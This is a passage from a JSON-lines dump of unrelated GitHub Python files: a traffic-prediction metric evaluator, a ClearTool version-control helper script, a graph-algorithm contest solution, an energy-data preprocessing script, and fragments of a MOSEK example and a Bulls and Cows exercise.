task.getsolutionslice(\n mosek.soltype.itr,\n mosek.solitem.xx,\n 0, numvar,\n res)\n\n print ( \"Solution is: %s\" % res )\n \nmain()\n\n","repo_name":"trgao10/PuenteAlignment","sub_path":"software/mosek/7/tools/examples/python/demb781.py","file_name":"demb781.py","file_ext":"py","file_size_in_byte":2020,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"5251102628","text":"import os\nimport json\nimport datetime\nimport pandas as pd\nfrom libcity.utils import ensure_dir\nfrom libcity.model import loss\nfrom logging import getLogger\nfrom libcity.evaluator.abstract_evaluator import AbstractEvaluator\n\n\nclass TrafficStateEvaluator(AbstractEvaluator):\n\n def __init__(self, config):\n self.metrics = config.get('metrics', ['MAE'])\n self.allowed_metrics = ['MAE', 'MSE', 'RMSE', 'MAPE', 'masked_MAE',\n 'masked_MSE', 'masked_RMSE', 'masked_MAPE', 'R2', 'EVAR']\n self.save_modes = config.get('save_modes', ['csv', 'json'])\n self.mode = config.get('mode', 'single')\n self.config = config\n self.len_timeslots = 0\n self.result = {}\n self.intermediate_result = {}\n self._check_config()\n self._logger = getLogger()\n\n def _check_config(self):\n if not isinstance(self.metrics, list):\n raise TypeError('Evaluator type is not list')\n for metric in self.metrics:\n if metric not in self.allowed_metrics:\n raise ValueError('the metric {} is not allowed in TrafficStateEvaluator'.format(str(metric)))\n\n def collect(self, batch):\n if not isinstance(batch, dict):\n raise TypeError('evaluator.collect input is not a dict of user')\n y_true = batch['y_true']\n y_pred = batch['y_pred']\n if y_true.shape != y_pred.shape:\n raise ValueError(\"batch['y_true'].shape is not equal to batch['y_pred'].shape\")\n self.len_timeslots = y_true.shape[1]\n for i in range(1, self.len_timeslots+1):\n for metric in self.metrics:\n if metric+'@'+str(i) not in self.intermediate_result:\n self.intermediate_result[metric+'@'+str(i)] = []\n if self.mode.lower() == 'average':\n for i in range(1, self.len_timeslots+1):\n for metric in self.metrics:\n if metric == 'masked_MAE':\n self.intermediate_result[metric + '@' + str(i)].append(\n loss.masked_mae_torch(y_pred[:, :i], y_true[:, :i], 0).item())\n elif metric == 'masked_MSE':\n self.intermediate_result[metric + '@' + str(i)].append(\n loss.masked_mse_torch(y_pred[:, :i], y_true[:, :i], 0).item())\n elif metric == 'masked_RMSE':\n self.intermediate_result[metric + '@' + str(i)].append(\n loss.masked_rmse_torch(y_pred[:, :i], y_true[:, :i], 0).item())\n elif metric == 'masked_MAPE':\n self.intermediate_result[metric + '@' + str(i)].append(\n loss.masked_mape_torch(y_pred[:, :i], y_true[:, :i], 0).item())\n elif metric == 'MAE':\n self.intermediate_result[metric + '@' + str(i)].append(\n loss.masked_mae_torch(y_pred[:, :i], y_true[:, :i]).item())\n elif metric == 'MSE':\n self.intermediate_result[metric + '@' + str(i)].append(\n loss.masked_mse_torch(y_pred[:, :i], y_true[:, :i]).item())\n elif metric == 'RMSE':\n self.intermediate_result[metric + '@' + str(i)].append(\n loss.masked_rmse_torch(y_pred[:, :i], y_true[:, :i]).item())\n elif metric == 'MAPE':\n self.intermediate_result[metric + '@' + str(i)].append(\n loss.masked_mape_torch(y_pred[:, :i], y_true[:, :i]).item())\n elif metric == 'R2':\n self.intermediate_result[metric + '@' + str(i)].append(\n loss.r2_score_torch(y_pred[:, :i], y_true[:, :i]).item())\n elif metric == 'EVAR':\n self.intermediate_result[metric + '@' + str(i)].append(\n loss.explained_variance_score_torch(y_pred[:, :i], y_true[:, :i]).item())\n elif self.mode.lower() == 'single':\n for i in range(1, self.len_timeslots + 1):\n for metric in self.metrics:\n if metric == 'masked_MAE':\n self.intermediate_result[metric + '@' + str(i)].append(\n loss.masked_mae_torch(y_pred[:, i-1], y_true[:, i-1], 0).item())\n elif metric == 'masked_MSE':\n self.intermediate_result[metric + '@' + str(i)].append(\n loss.masked_mse_torch(y_pred[:, i-1], y_true[:, i-1], 0).item())\n elif metric == 'masked_RMSE':\n self.intermediate_result[metric + '@' + str(i)].append(\n loss.masked_rmse_torch(y_pred[:, i-1], y_true[:, i-1], 0).item())\n elif metric == 'masked_MAPE':\n self.intermediate_result[metric + '@' + str(i)].append(\n loss.masked_mape_torch(y_pred[:, i-1], y_true[:, i-1], 0).item())\n elif metric == 'MAE':\n self.intermediate_result[metric + '@' + str(i)].append(\n loss.masked_mae_torch(y_pred[:, i-1], y_true[:, i-1]).item())\n elif metric == 'MSE':\n self.intermediate_result[metric + '@' + str(i)].append(\n loss.masked_mse_torch(y_pred[:, i-1], y_true[:, i-1]).item())\n elif metric == 'RMSE':\n self.intermediate_result[metric + '@' + str(i)].append(\n loss.masked_rmse_torch(y_pred[:, i-1], y_true[:, i-1]).item())\n elif metric == 'MAPE':\n self.intermediate_result[metric + '@' + str(i)].append(\n loss.masked_mape_torch(y_pred[:, i-1], y_true[:, i-1]).item())\n elif metric == 'R2':\n self.intermediate_result[metric + '@' + str(i)].append(\n loss.r2_score_torch(y_pred[:, i-1], y_true[:, i-1]).item())\n elif metric == 'EVAR':\n self.intermediate_result[metric + '@' + str(i)].append(\n loss.explained_variance_score_torch(y_pred[:, i-1], y_true[:, i-1]).item())\n else:\n raise ValueError('Error parameter evaluator_mode={}, please set `single` or `average`.'.format(self.mode))\n\n def evaluate(self):\n for i in range(1, self.len_timeslots + 1):\n for metric in self.metrics:\n self.result[metric+'@'+str(i)] = sum(self.intermediate_result[metric+'@'+str(i)]) / \\\n len(self.intermediate_result[metric+'@'+str(i)])\n return self.result\n\n def save_result(self, save_path, filename=None):\n self._logger.info('Note that you select the {} mode to evaluate!'.format(self.mode))\n self.evaluate()\n ensure_dir(save_path)\n if filename is None:\n filename = datetime.datetime.now().strftime('%Y_%m_%d_%H_%M_%S') + '_' + \\\n self.config['model'] + '_' + self.config['dataset'] + '_' + self.mode\n\n if 'json' in self.save_modes:\n self._logger.info('Evaluate result is ' + json.dumps(self.result))\n with open(os.path.join(save_path, '{}.json'.format(filename)), 'w') as f:\n json.dump(self.result, f)\n self._logger.info('Evaluate result is saved at ' +\n os.path.join(save_path, '{}.json'.format(filename)))\n\n dataframe = {}\n if 'csv' in self.save_modes:\n for metric in self.metrics:\n dataframe[metric] = []\n for i in range(1, self.len_timeslots + 1):\n for metric in self.metrics:\n dataframe[metric].append(self.result[metric+'@'+str(i)])\n dataframe = pd.DataFrame(dataframe, index=range(1, self.len_timeslots + 1))\n dataframe.to_csv(os.path.join(save_path, '{}.csv'.format(filename)), index=False)\n self._logger.info('Evaluate result is saved at ' +\n os.path.join(save_path, '{}.csv'.format(filename)))\n self._logger.info(\"\\n\" + str(dataframe))\n return dataframe\n\n def clear(self):\n self.result = {}\n self.intermediate_result = {}\n","repo_name":"BUAABIGSCity/PDFormer","sub_path":"libcity/evaluator/traffic_state_evaluator.py","file_name":"traffic_state_evaluator.py","file_ext":"py","file_size_in_byte":8485,"program_lang":"python","lang":"en","doc_type":"code","stars":115,"dataset":"github-code","pt":"78"} +{"seq_id":"24718296445","text":"#!/usr/bin/python3\nimport re\nimport os\nimport sys\nimport tkinter.messagebox\n\nlabelname = 'TASK_ZHAOY2_'\nbat_path = \"C:\\\\D\\\\Tools\\\\lscheckout\"\nproj_path = \"C:\\\\D\\\\Project\\\\tool_proj\"\ndriverletter = 'X:\\\\'\nNETViewPath = '\\\\\\\\CNSHGCTC-AP07\\\\views\\ASIA\\\\bjq5dl\\\\'\n\n\ndef lscheckout(view = None):\n curpath = proj_path+'\\\\'+view\n # os.remove(curpath+\"\\\\checkout.log\")\n os.system(bat_path+\"\\\\bat\\\\lscheckout.bat \"+ \"X:\\\\\"+view+\" >\"+curpath+\"\\\\checkout.log\")\n f = open(curpath+\"\\\\checkout.log\", 'r')\n fw = open(curpath+\"\\\\lscheckout.txt\", 'w')\n line = f.readline()\n while line != \"\":\n r = re.search(r'checkout version \\\"(.*?)\\\"',line)\n if r is None:\n pass\n else:\n #print(r.group(0))\n rversion = re.search(r'from \\\\(.*?)\\\\[0-9]{1,3} ',line)\n if rversion is None:\n version = ' not found'\n else:\n version = rversion.group(0)[5:-1]\n fw.write(r.group(0)[18:-1] + '@@'+ version +'\\n')\n line = f.readline()\n f.close()\n fw.close() \ndef find_br( branch = None, view = None):\n # curpath = os.getcwd()\n # os.remove(curpath+\"\\\\checkout.log\")\n outpath = proj_path+'\\\\'+view\n print(outpath)\n if branch and view :\n os.system(bat_path+\"\\\\bat\\\\find_br.bat \" + branch + \" \" + view + \" \"+ outpath)\n else: \n print(\"error: no branch or no view \")\ndef find_lb(label = None , view = None):\n # curpath = os.getcwd()\n # os.remove(curpath+\"\\\\checkout.log\")\n outpath = proj_path+'\\\\'+view \n if label and view :\n os.system(bat_path+\"\\\\bat\\\\find_br.bat \" + label + \" \" + view + \" \"+ outpath)\n else: \n print(\"error: no branch or no view \")\ndef des_attr(file = None):\n result = None\n ser = re.search(r'X:\\\\ ',file)\n if ser:\n cmd = r\"cleartool describe -aattr CtcSpecLabel -short \"\n if file:\n cmd = cmd + file\n r = os.popen(cmd)\n result = r.read()\n r.close()\n else:\n result = None\n return result\n# def lsvtree(file = None ):\ndef getFile_1x( line = None):\n fileattr = [r'ProjectFile',r'SourceFile',r'AsmFile',r'HeaderFile',r'T55File']\n for head in fileattr:\n r = re.search(head + r'\\(\\'([^\\']*)\\'',line)\n if r is None:\n pass\n else:\n length = len(head)+2\n # outfile.write(r.group(0)[length:-1].replace('/','\\\\')+\"\\n\")\n break\n return('\\\\gill_vob\\\\6_coding\\\\' + r.group(0)[length:-1].replace('/','\\\\'))\ndef getFileList_1x(file = None, outpath = None):\n with open(outpath,'w+') as outfile: \n fileattr = [r'ProjectFile',r'SourceFile',r'AsmFile',r'HeaderFile',r'T55File']\n print(file)\n if file != None:\n with open(file) as f:\n line = f.readline()\n while line != \"\":\n for head in fileattr:\n r = re.search(head + r'\\(\\'([^\\']*)\\'',line)\n if r is None:\n pass\n else:\n length = len(head)+2\n outfile.write('\\\\gill_vob\\\\6_coding\\\\'+r.group(0)[length:-1].replace('/','\\\\')+\"\\n\")\n break\n line = f.readline()\ndef getFile_1m( line = None):\n return('\\\\blois_hmc_code\\\\Software\\\\Environnement\\\\codewright\\\\'+line)\ndef getFileList_1m( file = None, outpath = None):\n print(file)\n print(outpath)\n with open(outpath,'w+') as outfile: \n if file != None:\n with open(file) as f:\n line = f.readline().replace('\\n','')\n while line != \"\":\n line = line.replace('\\n','')\n s = line.split('\\\\')\n # print(s)\n if s[0] == '..':\n if len(s)>=4 and s[3] =='..':\n out = line.replace('..\\..\\..\\..','')\n elif len(s)>=3 and s[2] == '..':\n out =line.replace('..\\..\\..', '\\\\blois_hmc_code')\n elif len(s)>=2 and s[1] == '..':\n out =line.replace('..\\..', '\\\\blois_hmc_code\\\\Software')\n outfile.write(out + '\\n') \n line = f.readline()\ndef multigetFileList(file = None, outpath = None):\n ext = file.split('\\\\')[-1].split('.')[-1]\n print(file)\n print(outpath)\n if ext == 'py':\n return getFileList_1x(file = file, outpath = outpath)\n elif ext == 'pjt':\n return getFileList_1m(file = file, outpath = outpath)\n else:\n return \ndef getvtree(file = None, path = None ):\n if file and path:\n outfile = path + '\\\\' + file.split('\\\\')[-1]+ '.vtree'\n cmd = 'cleartool lsvtree -a ' + file + ' > ' + outfile\n print(cmd)\n os.system(cmd)\n # print(outfile)\n return(outfile)\ndef alyfile_sf(file = None):\n with open(file) as f:\n all_text = f.read()\n all_text = all_text.replace('\\n','').replace(' ','').replace('\\t','')\n # print(all_text)\n obj = re.findall(r'\\{(.*?[^\\{}])\\}', all_text)\n li = []\n di = {} #convert obj to dict in list\n for i in obj:\n # print(i)\n predi = i.split(';')\n di = {}\n for j in predi:\n atom = j.split('=')\n di[atom[0]] = atom[1]\n li.append(di)\n for i in li:\n print(i)\n return(li)\ndef findtarget(listfile= None, dictlist = None, view = None, outfile = None):\n gv = re.findall('gv\\d{6}', view)\n if len(gv)>=1:\n mklabelStr = 'cleartool mklabel -rep '+labelname+gv[0].upper()+' '\n checkoutStr = 'cleartool checkout -c \\\"comment\\\" '\n mkCtclabel = 'cleartool mkattr CtcSpecLabel '\n with open(outfile, 'w+') as outfile:\n with open(listfile,'r') as lf:\n for di in dictlist:\n files = []\n lf.seek(0)\n outfile.write('/*\\n'+di['SPEC']+'\\n')\n outfile.write(di['LABEL']+'\\n*/\\n')\n line = lf.readline().replace('\\n','')\n while line != '':\n result = re.findall(di['FILES'],line)\n if result:\n files.append(line)\n else:\n pass\n line = lf.readline().replace('\\n','')\n if files == []:\n outfile.write('!!There is NO corresponding file in project file list \\n')\n for viapath in files:\n absfilepath = driverletter +view + viapath\n vtreefolder = proj_path + '\\\\' + view +'\\\\'+'vtree'\n vtreefile = getvtree(file = absfilepath, path =vtreefolder)\n print(vtreefile)\n with open(vtreefile, 'r') as vf:\n line = vf.readline()\n foundFile = False\n while line != '':\n line = line.replace('\\n','')\n writeline = ''\n out = ''\n if di['LABEL']!='None' and re.findall(di['LABEL'],line) : #re.findall(di['LABEL'],line): \n # outfile.write(line+'\\n')\n writeline = line+'\\n'\n foundFile = True\n elif re.findall(di['SPEC'].lower()+'\\\\\\\\[0-9]+',line):\n # outfile.write(line+'\\n')\n writeline = line+'\\n'\n foundFile = True\n else:\n pass\n if writeline!='' and ('ATTR' in di.keys()) and len(gv)>=1:\n if di['ATTR'] == 'R':\n temp = re.findall('(\\S.*)@@',writeline)\n try:\n out = mklabelStr+ temp[0]+'@@\\\\main\\\\0'\n except Exception as e:\n print(writeline)\n print(e)\n elif di['ATTR'] == 'U' or di['ATTR'] == 'A':\n try:\n out = mklabelStr+ writeline\n except Exception as e:\n print(writeline)\n print(e)\n outfile.write(out)\n line = vf.readline()\n if foundFile==False:\n outfile.write('!!Do not find LABEL or SPEC No.\\n')\n outfile.write(checkoutStr + absfilepath+'\\n')\n outfile.write(mkCtclabel +'\\\"\\\\\\\"'+di['SPEC'].upper()+'\\\"\\\\\\\" '+absfilepath+'\\n')\n outfile.write('\\n\\n') # need gap between 2 SPECs\ndef getfolderfiles(redir = None, view = None, fhandler = None):\n dir = 'X:\\\\'+view+'\\\\'+redir\n print(dir)\n flist = os.listdir(dir)\n for f in flist:\n if os.path.isdir(dir+'\\\\'+f):\n if f != 'tests':\n getfolderfiles(redir+'\\\\'+f, view = view, fhandler = fhandler)\n else:\n ext = f.split('.')\n if len(ext)>=2 and ext[-1] != 'o' and ext[-1]!='i' and ext[-1]!='log' and ext[-1]!='doc':\n fhandler.write(redir+'\\\\'+f + '\\n')\n print(redir+'\\\\'+f )\ndef makeview(view = None):\n outp = bat_path+'\\\\bat\\\\lsview.txt'\n print(outp)\n if view :\n os.system(bat_path+\"\\\\bat\\\\mkview.bat \" + view + \" \" +outp+ ' '+NETViewPath)\n else: \n print(\"error: no view \")\n pass\ndef find_UTresult(flist = None, atom =None , view = None, utoutfile = None):\n specdir = proj_path + '\\\\' + view +'\\\\'+'SPEC'+'\\\\'+atom['SPEC']\n if os.path.exists(specdir) == False:\n try:\n os.mkdir(specdir)\n except Exception as e:\n tk.messagebox.showinfo('error', e)\n cmdout = proj_path+'\\\\'+view+'\\\\'+'SPEC'+'\\\\'+atom['SPEC']+'\\\\'+atom['FILES']+'.ahlink'\n if flist and atom and view:\n flist.seek(0)\n line = flist.readline()\n while line!='':\n line = line.replace('\\n', '')\n fnames = atom['FILES'].split(',')\n result = re.findall(fnames[0]+'.c',line)\n for i in fnames:\n if -1 != i.find('.c'):\n result = re.findall(i,line)\n break\n if len(result)>=1:\n file = 'X:\\\\'+view+line\n cmd = bat_path+'\\\\bat\\\\des_l.bat '+file +' ' +cmdout\n print(cmd)\n os.system(cmd)\n extractinfo = analysisfile_des_l(cmdout)\n utattr = ['POLY_Link','tcgTestResultPS', 'RTRT_Link', 'tcgTestResultRTRT', 'Merge']\n for attr in utattr:\n if (attr in extractinfo.keys()):\n utoutfile.write(attr+': ' + extractinfo[attr]+'\\n')\n else:\n utoutfile.write('Not find '+ attr+'\\n')\n line = flist.readline()\n pass\ndef analysisfile_des_l(file = None): # used to extract information from .ahlink file of view file\n ext_info = {}\n with open(file, 'r') as inf:\n line = inf.readline()\n while line!='':\n line = line.replace('\\n','')\n split = re.findall('\\S+',line)\n if len(split)>=1:\n if split[0] == 'version':\n ext_info['VERSION'] = split[1].replace('\\\"','')\n elif split[0]=='Labels:':\n pass\n elif split[0] =='CtcSpecLabel':\n try:\n ext_info['CtcSpecLabel'] = split[2].replace('\\\"','') \n except Exception as e:\n print(e)\n elif -1 != split[0].find('Merge') :\n split = line.split('<-')\n try:\n if 'Merge' in ext_info.keys():\n ext_info['Merge'] = ext_info['Merge']+line+'\\n'\n else:\n ext_info['Merge'] = line+'\\n'\n except Exception as e:\n print(e)\n elif -1 != split[0].find('tcgTestResultRTRT') :\n split = line.split('->')\n try:\n ext_info['tcgTestResultRTRT'] = line #split[1].replace('\\\"','').replace(' ','')\n except Exception as e:\n print(e)\n elif -1 != split[0].find('tcgTestResultPS') :\n split = line.split('->')\n try:\n ext_info['tcgTestResultPS'] = line #split[1].replace('\\\"','').replace(' ','')\n except Exception as e:\n print(e) \n elif -1 != split[0].find('RTRT_Link') :\n split = line.split('->')\n try:\n ext_info['RTRT_Link'] = re.findall('-> \\S+',line)[0].replace('-> ','')\n except Exception as e:\n print(e)\n elif -1 != split[0].find('POLY_Link') :\n split = line.split('->')\n try:\n ext_info['POLY_Link'] = re.findall('-> \\S+',line)[0].replace('-> ','')\n except Exception as e:\n print(e) \n elif -1 != split[0].find('PSTR_Link') : \n split = line.split('->')\n try:\n ext_info['PSTR_Link'] = re.findall('-> \\S+',line)[0].replace('-> ','')\n except Exception as e:\n print(e) \n line = inf.readline()\n print(ext_info)\n return(ext_info)\n pass\n\nif __name__==\"__main__\":\n pass\n # lscheckout()\n # find_br(branch = 'task_gv217878', view = 'TASK_ZHAOY2_Compare')\n # getFileList_1x(file = \"C:\\\\D\\\\Tools\\\\lscheckout\\\\config.py\" , outpath = \"C:\\\\D\\\\Tools\\\\lscheckout\\\\config_filelist.txt\")\n # alyfile_sf('C:\\\\D\\\\Tools\\\\lscheckout\\\\spec_file_gvxxxx.sf')\n # rf = getvtree(file = 'X:\\\\1xyunapp_b100p11_gv224799_zhaoy2\\\\gill_vob\\\\6_coding\\\\src\\\\p_l\\\\p_l_pwm_output\\\\src\\\\p_l_imv_drv_diag.c',path =proj_path)\n # print(rf\n # a = alyfile_sf(file= 'C:\\\\D\\\\Tools\\\\lscheckout\\\\spec_file_gvxxxx.sf' )\n # findtarget(listfile= 'C:\\\\D\\\\Tools\\\\proj_test\\\\filelist.txt', dictlist = a , viewpath = 'X:\\\\1xyunapp_b100p11_gv224799_zhaoy2\\\\gill_vob\\\\6_coding')\n # getfolderfiles('X:\\\\1mqmcapp_a310d21_gv225086_zhaoy2\\\\blois_hmc_code')\n# re.findall('SPEC=\\s*([A-Za-z]{1}\\d{7}_\\d+\\.\\d+)', s)\n analysisfile_des_l('C:\\\\D\\\\Project\\\\tool_proj\\\\1xyunapp_b100p11_gv224799_zhaoy2\\\\SPEC\\\\A0108494_1.0\\\\p_l_imv_drv_diag.ahlink')\n\n# import os, re\n# # execute command, and return the output\n# def execCmd(cmd):\n# r = os.popen(cmd)\n# text = r.read()\n# r.close()\n# return text\n# # write \"data\" to file-filename\n# def writeFile(filename, data):\n# f = open(filename, \"w\")\n# f.write(data)\n# f.close()\n# # 获取计算机MAC地址和IP地址\n# if __name__ == '__main__':\n# cmd = \"ipconfig /all\"\n# result = execCmd(cmd)\n# pat1 = \"Physical Address[\\. ]+: ([\\w-]+)\"\n# pat2 = \"IP Address[\\. ]+: ([\\.\\d]+)\"\n# MAC = re.findall(pat1, result)[0] # 找到MAC\n# IP = re.findall(pat2, result)[0] # 找到IP\n# print(\"MAC=%s, IP=%s\" %(MAC, IP))","repo_name":"zyqiang0713/delphi_cleartool","sub_path":"lscheckout.py","file_name":"lscheckout.py","file_ext":"py","file_size_in_byte":15836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3139974484","text":"# BOJ 17472 다리 만들기 2\n\"\"\"\n모든 섬을 연결하는 다리 길이의 최솟값\n-> kruskal 알고리즘을 사용할 수 있을듯\n1. 모든 섬을 라벨링하고 라벨링 한 숫자들을 기억해둔다.\n2. 1부터 N까지 모든 섬에 대하여 같은 라벨끼리 bfs를 한다. bfs를 통하여 모든 방문하지 않은\n같은 라벨을 방문한다.\n2-1. 만약 다음에 방문할 좌표가 0이라면 그 현재 탐색 방향으로 계속해서 이동해본다.\n이동한 좌표의 값이 0도 아니면서 같은 라벨이 아니라면 인접 행렬에 두 라벨과 이동거리를 저장한다.\n\"\"\"\nfrom collections import deque\nimport sys\n\nsys.stdin = open(\"../input.txt\", \"r\")\nsi = sys.stdin.readline\ndy = [-1, 1, 0, 0]\ndx = [0, 0, -1, 1]\n\n\ndef find(arr, a):\n if a == arr[a]:\n return a\n arr[a] = find(arr, arr[a])\n return arr[a]\n\n\ndef union(arr, a, b):\n a = find(arr, a)\n b = find(arr, b)\n if a < b:\n arr[b] = a\n else:\n arr[a] = b\n\n\ndef kruskal():\n adj.sort(key=lambda x: x[2])\n parents = [i for i in range(label_number + 1)]\n ret = 0\n edge = 0\n for a, b, c in adj:\n if find(parents, a) != find(parents, b):\n union(parents, a, b)\n ret += c\n edge += 1\n if edge == label_number - 1:\n return ret\n return -1\n\n\ndef get_bridge_length(sy, sx, d, label_graph_value):\n count = 0\n y, x = sy, sx\n while True:\n if y < 0 or y >= N or x < 0 or x >= M:\n y -= dy[d]\n x -= dx[d]\n break\n if label_graph[y][x] > 0:\n break\n y += dy[d]\n x += dx[d]\n count += 1\n if label_graph_value != label_graph[y][x] and label_graph[y][x] > 0 and count > 1:\n adj.append((label_graph_value, label_graph[y][x], count))\n\n\ndef make_adj(sy, sx, label_graph_value):\n q = deque()\n visited[sy][sx] = True\n q.append((sy, sx))\n while q:\n y, x = q.popleft()\n\n for i in range(4):\n ny = y + dy[i]\n nx = x + dx[i]\n if ny < 0 or ny >= N or nx < 0 or nx >= M:\n continue\n if not visited[ny][nx]:\n if label_graph[ny][nx] == label_graph_value:\n visited[ny][nx] = True\n q.append((ny, nx))\n elif label_graph[ny][nx] == 0:\n get_bridge_length(ny, nx, i, label_graph_value)\n\n\ndef bfs(sy, sx):\n q = deque()\n visited[sy][sx] = True\n label_graph[sy][sx] = label_number\n q.append((sy, sx))\n while q:\n y, x = q.popleft()\n for i in range(4):\n ny = y + dy[i]\n nx = x + dx[i]\n if ny < 0 or ny >= N or nx < 0 or nx >= M:\n continue\n if not visited[ny][nx] and graph[ny][nx] == 1:\n visited[ny][nx] = True\n label_graph[ny][nx] = label_number\n q.append((ny, nx))\n\n\nN, M = map(int, si().split(\" \"))\nadj = []\ngraph = [list(map(int, si().split(\" \"))) for _ in range(N)]\nvisited = [[False for _ in range(M)] for _ in range(N)]\nlabel_graph = [[0 for _ in range(M)] for _ in range(N)]\nlabel_number = 0\n\n# labelling\nfor i in range(N):\n for j in range(M):\n if not visited[i][j] and graph[i][j] > 0:\n label_number += 1\n bfs(i, j)\n\nvisited = [[False for _ in range(M)] for _ in range(N)]\nfor i in range(N):\n for j in range(M):\n if not visited[i][j] and label_graph[i][j] > 0:\n make_adj(i, j, label_graph[i][j])\n\nprint(kruskal())\n","repo_name":"mrbartrns/algorithm-and-structure","sub_path":"BOJ/graph_boj/make_bridge.py","file_name":"make_bridge.py","file_ext":"py","file_size_in_byte":3548,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41335521139","text":"import pandas as pd\nimport numpy as np\n\n\n\ndata = pd.read_csv(r'C:\\regression_models\\linear_regression/Installation Metadata.csv')\ndata2 = pd.read_csv(r'C:\\regression_models\\linear_regression/Disaggregation Results.csv')\n\ndata_new = pd.read_csv(r'C:\\regression_models\\linear_regression/Installation Metadata_new.csv', sep=',\"')\ndata2_new = pd.read_csv(r'C:\\regression_models\\linear_regression/Disaggregation Results_new.csv', sep=',\"')\n\npd.set_option('display.max_columns', 50)\npd.set_option('display.max_row', 9999)\n\n\n#explore dataset\ndef explore(data):\n print('Head of the dataframe: ')\n print(data.head())\n print('\\n')\n print('Describe the dataframe: ')\n print(data.describe())\n print('\\n')\n print('Shape of the dataframe: ')\n print(data.shape)\n\n\n\n\n#remove useless data\ndef del_useless_features(data, columns):\n return data.drop(columns, axis=1)\n\n\n\n#define useless data for each dataframe\ncolumns = ['Id', 'eui64', 'appliance_type', 'usage_in_kwh',\n 'usage_frequency', 'score', 'period_first', 'period_last',\n 'snapshot_taken_at', 'calculated_until', 'seconds_of_data_missing']\n\ncolumns2 = ['eui64', 'disaggregation_id', 'year', 'gas_space_heating',\n 'gas_water_heating', 'gas_cooking', 'gas_total', 'description']\n\n\ndata = del_useless_features(data,columns)\ndata2 = del_useless_features(data2,columns2)\n\n\n\n#sort data2 by household id, month\ndata2 = data2.sort_values(by=['household_id', 'month'])\ndata2 = data2.reset_index(drop=True)\n\n\n\n##create dataframes from new dataset\ncolumns_new = [\"eui64\",\"property_type\",\"property_size\",\"property_age\",\"property_ownership\",\n \"occupants\",\"occupant_type\",\"space_heating\",\"water_heating\",\"stove_heating\",\n \"grill_heating\",\"oven_heating\",\"photo_voltaic\",\"fridge\",\"freezer\",\n \"combi_fridge_freezer\",\"oven\",\"grill\",\"hob\",\"microwave\",\"kettle\",\"toaster\",\n \"dishwasher\",\"washing_machine\",\"tumble_dryer\",\"iron\",\"tv\",\"dvd_or_blueray\",\n \"digital_tv_box\",\"games_console\",\"computer\",\"tablet\",\"electric_shower\",\n \"ev_charger\",\"swimming_pool\",\"sauna\",\"month\",\"year\"]\n\ncolumns2_new = [\"eui64\",\"electricity_always_on\",\"electricity_refrigeration\",\"electricity_space_heating\",\n \"electricity_water_heating\",\"electricity_cooking\",\"electricity_laundry\",\n \"electricity_lighting\",\"electricity_entertainment\",\"electricity_electric_vehicle\",\n \"electricity_pool_or_sauna\",\"electricity_other\",\"electricity_total\",\n \"gas_space_heating\",\"gas_water_heating\",\"gas_cooking\",\"gas_total\",\"month\",\"year\"]\n\n\ndata_new = data_new.replace('\"', '', regex=True)\ndata_new.columns = columns_new\n\ndata2_new = data2_new.replace('\"', '', regex=True)\ndata2_new.columns = columns2_new\n\n\ndef check_na_values(data):\n data = data.replace('', np.nan, regex=True)\n\n return data\n\n\ndata_new = check_na_values(data_new)\ndata2_new = check_na_values(data2_new)\n\n\n\n#keep only 1 row of installation metadata for each household\ndata_new = data_new.drop_duplicates(subset=['eui64'], keep='first')\ndata_new = data_new.reset_index(drop=True)\ndata = data.drop_duplicates(subset=['household_id'], keep='first')\ndata = data.reset_index(drop=True)\n\n\n#define useless data for each dataframe\ncolumns_to_drop = [\"month\",\"year\"]\ncolumns_to_drop2 = [\"gas_space_heating\",\"gas_water_heating\",\"gas_cooking\",\"gas_total\",\"year\"]\ndata_new = del_useless_features(data_new,columns_to_drop)\ndata2_new = del_useless_features(data2_new,columns_to_drop2)\n\n\n# Replace Nan values with most frequent of each feature\ndef replace_nan(data):\n data = data.loc[:, 'property_type':]\n features = data.columns\n\n # Create array with most frequent value of each feature\n for f in features:\n # Most frequent value of each feature\n freq = data[f].value_counts().index[0]\n\n # If there is a Nan value replace with most frequent\n for i in range(0, len(data.index)):\n # NaN is always != NaN\n if data_new[f][i] != data_new[f][i]:\n data_new[f][i] = freq\n\n return data_new\n\n\ndata_new = replace_nan(data_new)\n\n\n\n#merge installation and disaggregation datasets\ndef merge_datasets(data, data2, id):\n # Keep feature names\n features = list(data.columns)\n # Delete household_id column\n del features[0]\n\n # Create empty dataframe for merging\n e = pd.DataFrame(np.nan, index=range(0, len(data2.index)), columns=features)\n\n # merge datasets by id\n for i in range(0, len(data.index)):\n for j in range(0, len(data2.index)):\n if data[id][i] == data2[id][j]:\n e.iloc[j] = data.iloc[i]\n\n # merge dataframes into a final\n data2[features] = e\n\n return data2\n\n\n##write datasets to csv\n#old dataset\nname = 'final_dataset.csv'\nid = 'household_id'\n#merge_datasets(data, data2, id).to_csv(name, index=False)\n\n#new dataset\nname = 'final_dataset_new.csv'\nid = 'eui64'\n#merge_datasets(data_new, data2_new, id).to_csv(name, index=False)\n\n\n\n","repo_name":"dgiannisdim/regression_models","sub_path":"linear_regression/import_datasets.py","file_name":"import_datasets.py","file_ext":"py","file_size_in_byte":4982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"32818343682","text":"# -*- coding: utf-8 -*-\n\n# Игра «Быки и коровы»\n# https://goo.gl/Go2mb9\n#\n# Правила:\n# Компьютер загадывает четырехзначное число, все цифры которого различны\n# (первая цифра числа отлична от нуля). Игроку необходимо разгадать задуманное число.\n# Игрок вводит четырехзначное число c неповторяющимися цифрами,\n# компьютер сообщают о количестве «быков» и «коров» в названном числе\n# «бык» — цифра есть в записи задуманного числа и стоит в той же позиции,\n# что и в задуманном числе\n# «корова» — цифра есть в записи задуманного числа, но не стоит в той же позиции,\n# что и в задуманном числе\n#\n# Например, если задумано число 3275 и названо число 1234,\n# получаем в названном числе одного «быка» и одну «корову».\n# Очевидно, что число отгадано в том случае, если имеем 4 «быка».\n#\n# Формат ответа компьютера\n# > быки - 1, коровы - 1\n\n\n# Составить отдельный модуль mastermind_engine, реализующий функциональность игры.\n# В этом модуле нужно реализовать функции:\n# загадать_число()\n# проверить_число(NN) - возвращает словарь {'bulls': N, 'cows': N}\n# Загаданное число хранить в глобальной переменной.\n# Обратите внимание, что строки - это список символов.\n#\n# В текущем модуле (lesson_006/01_mastermind.py) реализовать логику работы с пользователем:\n# модуль 